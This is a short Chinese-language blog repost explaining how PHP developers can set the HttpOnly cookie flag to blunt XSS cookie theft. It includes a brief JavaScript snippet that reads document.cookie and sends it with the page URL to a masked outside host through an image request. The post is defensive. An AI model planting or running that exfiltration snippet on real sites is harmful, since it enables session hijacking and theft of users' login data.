码迷,mamicode.com
首页 > 其他好文 > 详细

利用HttpOnly来防御xss攻击

时间:2014-05-22 08:24:14      阅读:273      评论:0      收藏:0      [点我收藏+]

标签:httponly   phpxss   xss   

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

     url=document.top.location.href;
     cookie=document.cookie;
     c=new Image();
     c.src=’http://www.******.com/c.php?c=’+cookie+’&u=’+url;


一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。
PHP设置HttpOnly:
  1. //在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
  2. ini_set("session.cookie_httponly", 1);
  3.  
  4. //或者setcookie()的第七个参数设置为true
  5. session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:
  1. header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

利用HttpOnly来防御xss攻击,布布扣,bubuko.com

利用HttpOnly来防御xss攻击

标签:httponly   phpxss   xss   

原文地址:http://blog.csdn.net/phpfenghuo/article/details/26161161

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!